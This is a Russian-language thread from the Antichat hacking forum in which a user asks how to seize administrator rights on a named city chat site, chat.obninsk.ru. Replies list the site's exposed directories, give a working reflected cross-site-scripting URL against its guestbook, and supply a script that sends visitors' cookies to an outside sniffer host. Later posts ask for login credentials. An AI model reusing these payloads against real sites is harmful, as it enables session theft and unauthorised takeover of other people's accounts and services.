ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

MD3 chat.obninsk.ru
  #1  
Старый 15.12.2006, 02:58
Аватар для IDentety
IDentety
Познающий
Регистрация: 13.12.2006
Сообщений: 77
Провел на форуме:
624475

Репутация: 70
Отправить сообщение для IDentety с помощью ICQ
По умолчанию MD3 chat.obninsk.ru

Здасте уважаемые античатовцы. вот задался я таким вопросом как поиметь админовские права в нашем городском чате. но сам я не очень разбираюсь в ломке поэтому обьясните как это делаеца для данного чата(тока не ломайте я сам хочу) меня интересует теоретическое описание... заранее спасибо
 
Ответить с цитированием

  #2  
Старый 18.12.2006, 00:56
Аватар для *D1VER
*D1VER
Участник форума
Регистрация: 05.12.2006
Сообщений: 112
Провел на форуме:
685950

Репутация: 175
Отправить сообщение для *D1VER с помощью ICQ
По умолчанию

Немного поползав я нашёл следущее!

http://chat.obninsk.ru/_sys/view/
http://chat.obninsk.ru/design/
http://chat.obninsk.ru/icons/
http://chat.obninsk.ru/bcn/data/

http://chat.obninsk.ru/bcn/data/resize.php


Ещё одна пассивная Xss В гостевой!

http://chat.obninsk.ru/guest.php?sid=%22%3E%22%3Cscript%3Ealert()%3C/script%3E

Последний раз редактировалось *D1VER; 18.12.2006 в 01:27..
 
Ответить с цитированием

  #3  
Старый 18.12.2006, 04:30
Аватар для IDentety
IDentety
Познающий
Регистрация: 13.12.2006
Сообщений: 77
Провел на форуме:
624475

Репутация: 70
Отправить сообщение для IDentety с помощью ICQ
По умолчанию

благодарю. + к репе.
 
Ответить с цитированием

  #4  
Старый 18.12.2006, 10:01
Аватар для InferNo23
InferNo23
Участник форума
Регистрация: 05.09.2006
Сообщений: 187
Провел на форуме:
6860213

Репутация: 378
По умолчанию

Еше можно залить фотографию с содержимым:
Код:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
потом кинуть ссылку на картинку и куки придут на снифер, но это только для ИЕ ....
 
Ответить с цитированием

  #5  
Старый 12.03.2007, 18:31
Аватар для baga
baga
Новичок
Регистрация: 11.03.2007
Сообщений: 4
Провел на форуме:
8919

Репутация: 0
Thumbs up

у меня есть скрипт мд чата - могу подогнать ковыряй исходники или ставь себе и ломайй на здоровье
 
Ответить с цитированием

  #6  
Старый 13.03.2007, 02:03
Аватар для DRON-ANARCHY
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме:
1204641

Репутация: 412


Отправить сообщение для DRON-ANARCHY с помощью ICQ
По умолчанию

неплохо было бы для дальнейшего изучения получить логин и пасс
 
Ответить с цитированием

  #7  
Старый 14.03.2007, 23:35
Аватар для baga
baga
Новичок
Регистрация: 11.03.2007
Сообщений: 4
Провел на форуме:
8919

Репутация: 0
Arrow

логин от чего? у меня скрипт могу выложить его если у кого то есть место на фтп
 
Ответить с цитированием

  #8  
Старый 15.03.2007, 01:09
Аватар для DRON-ANARCHY
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме:
1204641

Репутация: 412


Отправить сообщение для DRON-ANARCHY с помощью ICQ
По умолчанию

нафих твой скрипт... мож там че исправлено или мод или мало еще что. К тому же устанавливать у себя не охота)
 
Ответить с цитированием

  #9  
Старый 15.03.2007, 22:50
Аватар для baga
baga
Новичок
Регистрация: 11.03.2007
Сообщений: 4
Провел на форуме:
8919

Репутация: 0
По умолчанию

ничего не правил- не добавлял- скрипт нужен был для свободной раздачи даного чата- в противовес барыге мд
 
Ответить с цитированием

  #10  
Старый 16.03.2007, 00:05
Аватар для DRON-ANARCHY
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме:
1204641

Репутация: 412


Отправить сообщение для DRON-ANARCHY с помощью ICQ
По умолчанию

ох.... да я не про твои скрипт говорю. а про то, что установлено на сайте
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ